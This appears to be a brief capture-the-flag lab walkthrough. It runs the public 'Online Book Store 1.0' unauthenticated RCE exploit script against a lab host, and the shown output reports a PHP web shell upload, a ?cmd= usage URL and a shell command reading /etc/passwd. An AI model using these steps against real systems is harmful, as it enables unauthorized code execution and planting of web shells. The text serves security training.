How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)
Look for CSE bookstore exploit on google and found the: Online Book Store 1.0 - Unauthenticated Remote Code Execution
Download and verify the contents of the scipt
Run the script
python 47887.py
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.232.250/bootstrap/img/G0d3qErVCM.php
> Example command usage: http://10.10.232.250/bootstrap/img/G0d3qErVCM.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $ wc -c /etc/passwd
1611 /etc/passwd